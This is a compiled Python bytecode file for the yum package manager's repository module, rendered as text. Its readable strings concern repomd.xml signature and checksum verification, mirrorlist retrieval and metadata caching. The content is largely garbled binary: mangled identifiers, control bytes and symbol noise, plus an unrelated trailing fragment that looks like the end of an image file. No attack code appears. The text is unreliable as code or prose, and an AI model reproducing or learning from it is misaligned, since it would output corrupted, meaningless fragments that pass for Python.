|iS((R(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR scCst|d|S(R~(R;(RR<((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR scCst|ddS(R~N(R;R9(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR scCs-t|tijo
|i}n|}|iom|iobtidjot	dd|n|i
d}yP|iddddd|d	d
|iddddd
|i
djdd}Wn.t	j
o"}t	dd||fnXti|||i}|ok|ioay|i||iWn+tij
o}t	dd|nXti|||i}n|pt	dd|qnyti|i|}Wn1tij
o"}t	dd||fnX|i|io(|i|ot	dd|ndS(Nis?pygpgme is not working so repomd.xml can not be verified for %ss/repomd.xml.ascRtsrepodata/repomd.xml.ascRiRpRes%s/signatureRRsRCR,Rxis1Error finding signature for repomd.xml for %s: %ss;Gpg Keys not imported, cannot verify repomd.xml for repo %ss1repomd.xml signature could not be verified for %ss%Error importing repomd.xml for %s: %ss)repomd.xml does not match metalink for %s(RRtInstanceTypetfilenamet
repo_gpgcheckt_override_sigchecksRtgpgmeR9RR8RRRtvalid_detached_sigR?RRRtYumBaseErrorRRRRFRCR(RRtfilepathtsigfileRmRtvalidRI((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRsF




	cCsHti|}|pdS|o|i|jodSti|dS(s4 Delete a downloaded file if it's the correct size. N(Rtstat_ftst_sizeRE(RRpRxtsd((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRscCs|i|||S(s,check the metadata type against its checksum(R(RtfnRLR^((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRgsc
Cs-|}|djo|ii|}n|o|i\}}|i}	n|i\}}|i}	t|ti	jo
|i
}
n|}
|	dj	ot|	}	ny|i||
d|	}Wn3t
ij
o$}|odStddnX||jodS|odStdddS(s5 Internal function, use .checkMD() from outside yum. RisError performing checksumiis%Metadata file does not match checksumN(R9RIRJR^topensizeRKRxRRRRRzRRR R(
RRRLR^RNRRtr_ctypetr_csumRxRtl_csumR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRs0

	


cCs
|i|S(sbase function to retrieve metadata files from the remote url
           returns the path to the local metadata file of a 'mdtype'
           mdtype can be 'primary', 'filelists', 'other' or 'group'.(RB(RRL((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt
retrieveMDscsii}|i\}}tii|}id|}iio|Si	djoqtii
|oDyi|Wn%tj
o}t
id|qX|Sqt
id|fnioti|ntii
|pitii|o/i|dtodi<|Snt}	iid}
|
dj	o_|
ii}|dj	o<tii|id}||jp|i|ij}	qnyfd}
dif}|idjp|	o
d}n d	}i|t|iid
|d|ddd
|d|
d|didjd|i}Wndt
it
ifj
o|odSn<tj
o+}|odSt
id|fnX|SdS(s8 Internal function, use .retrieveMD() from outside yum. R\is;Caching enabled and local cache: %s does not match checksums0Caching enabled but no local cache of %s from %sRRcsNyi|Wn&tj
oti|inXdi<dS(Ni(RgRRRERR(tobj(RRL(s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRs_ss%s/%sRRtRpRRRsReRCR,Rxs6Could not retrieve %s matching remote checksum from %sN( RIRJR_R`RaRbR8RRRCRdRgRRR RRRERcRRGRR9RRKRRxRRzRRR(RRLRRRiRjRkRpRtpartialtorepomdRtofnameRsReR((RRLs//usr/lib/python2.6/site-packages/yum/yumRepo.pyRB%sr

	




cCs
|idS(s]this gets you the path to the primary.xml file, retrieving it if we
           need a new oneR1(R(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR:scCs
|idS(s_this gets you the path to the filelists.xml file, retrieving it if we
           need a new oneR(R(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR<scCs
|idS(NR4(R(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR>scCs=d|iijo|iddtS|iddtS(sggets groups and returns group file path for the repository, if there
           is none it returns NoneRRRt(RIRRBRG(R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt	getGroupsscCs||_t|_dS(N(R%RGR(RR%((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytsetCallbacks	cCs||_t|_dS(N(RRGR(RR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt
setFailureObjs	cCs||_t|_dS(N(RRGR(RR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytsetMirrorFailureObjs	cCs||_t|_dS(N(RRGR(RR%((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytsetInterruptCallbacks	cCsg}g}|dj	oy|i}WnAtj
o5}|djo
d}nd||fGHg}nXxW|D]K}tid|oqtn|i}|idd}|i|qtWn||fS(s5 read the mirror list from the specified file object s	<unknown>s+Could not read mirrorlist %s, error was 
%ss\s*(#|$)s$ARCHs	$BASEARCHN(R9t	readlinest	ExceptionRRtrstriptreplaceR(RRRYt
returnlisttcontentRtlineR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_readMirrorLists$


cCs|idd|_d
}t}|i|i|io)t}t|id}d|i}n|i}t	i	|d}|djod|}n|i
}ytii
||}WnJtiij
o8}d||idti|idfGHd
}nX|i||\}}|oU|ioF|o>t|id	}	x|D]}
|	i|
qVW|	iqnP|oGtii|io1ti|id
|it|iddS|S(s$retrieve an up2date-style mirrorlist file from our mirrorlist url,
           also save the file to the local repo dir and use that if cache expiry
           not expired

           we also s/$ARCH/$BASEARCH/ and move along
           return the baseurls from the mirrorlist file
           R\smirrorlist.txttrsfile://iRss1Could not retrieve mirrorlist %s error was
%s: %sitwN(R8RGR9RRtmirrorlist_expireRGRRDRQRRRiturlopenRRjRRkR%RCtwriteRR`RaRdtutime(RRtcacheokRYRRRR"R#RR$((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRMs:	
)cCsutii|ptStii|o6ti|titi|tijotSnti||tS(s&attempts to copy the file, if possible(	R`RaRdRRtST_CTIMERmRRG(RRtdestfn((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt
_preload_files-	RscCst|dptS|idjotStii|i|i}tii|ptStii|tii|i	jotS|d|tii
|}|djo%|i	d|tii
|}n|i||S(sLattempts to copy the file from the system-wide cache,
           if possibletold_base_cache_dirRsR\N(
R5RR0R`RaRRRdtnormpathR8RbR9R/(RRtsubdirR.tglob_repo_cache_dirR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_preload_file_from_system_caches(
%cCs
|i|S(sUattempts to copy the metadata file from the system-wide cache,
           if possible(R4(RR((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRcscCstii|i}tii|i|}|i|iddd|otSt|dpt	Sx8|i
D]-}|itii|||otSqvWt	S(sOattempts to copy the package from the system-wide cache,
           if possibleR2s	packages/R.R:(R`RaRbRRR2R4RGR5RR:R/(RtpkgtpnameR.topkgdir((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRs

"	c	Csg}dGHy|ii}Wn>tij
o/}tddt|}|i||SXxr|D]j}d|GHy|i|Wqftij
o8}d|}td|t|}|i|qfXqfW|S(Nsverifying mdisfailed to load repomd.xmlsverifying %ss.%s metadata missing or does not match checksumi(RIRRR tRepoVerifyProblemRRR(Rtproblemstmd_typesRtprbtmd_typeR&((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt
_verify_md"s$
	
cCsdGHg}|i}|dj	oti|}nyti}|i|WnLtiti	fj
o4}d}t
t|t|}|i|n;X|i
djo)d}t
t|d}|i|n|S(Nsverifying compsscomps file failed to addisno groups in compsRs(RR9RRDRtCompstaddRtGroupsErrortCompsExceptionR8tREPO_PROBLEM_COMPSRt
compscount(RR9tgrpfiletcRR&R;((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt
_verify_comps7s"
cCsgS(N((R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt_verify_packagesSstrepodataRcCsg}d|jo|i|ind|jo%|io|i|iq\nd|jo|i|in|S(s}download/verify the specified items
           @items = ['repodata', 'comps'] can include: repodata, comps, packages
        RHRR((RKR=R{RFRG(RtitemsR9((s//usr/lib/python2.6/site-packages/yum/yumRepo.pytverifyVs



iN(kRnRoRpR
RRtpropertyRRRt_YumRepository__getProxyDictRRRRRRR9RRRRRRRGRRRRRRRRR'R7R9R=R8R3R2R4R?R@RRBRFRARHR`RRrRRt_YumRepository__getRRRRgRRRRRRRRRRRRtstaticmethodRRRRR@RRRRRRRIRRRgRRRBR:R<R>RRRRRR%RMR/R4RcRR=RFRGRJ(((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyRqs	;	
	
																		'									$				$	`	 				*			
		)
q					,	
'	_									+						cCsbtidtiddg}ttido
ti}nddk}|}ti|d}|djod|}n|}y|i	|d	|}WnJtii
j
o8}d
||idti
|idfGHd}nX|dj	of|i}	xW|	D]K}
tid|
oqn|
i}|id
d}|i|qWn|S(Ns9getMirrorList() will go away in a future version of Yum.
RiR)iiRssfile://R
s1Could not retrieve mirrorlist %s error was
%s: %sis\s*(#|$)s$ARCHs	$BASEARCH(RRRRR5RRiRRQR)RRjRRkR9RRRR R!R(RDtpdictR"turlresolverRRRYRRR#R$R((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt
getMirrorListgs4	

)
R8cBseZdZedZRS(s9 Holder for each "problem" we find with a repo.verify(). cCs(||_||_||_||_dS(N(Rtmessagetdetailstfake(RRR&RSRT((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR
s			(RnRoRpRR
(((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyR8s(2R`RRRRQt
uses_fragmentRRRturlgrabber.grabberRRturlgrabber.mirrorRRRRtreposRROR6RtyumRRRt	constantsRCtloggingR~RRRmRRRRGRetsimplefilterRt	getLoggerRR|RR
RwRqR9RQR8(((s//usr/lib/python2.6/site-packages/yum/yumRepo.pyt<module>sX

%
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`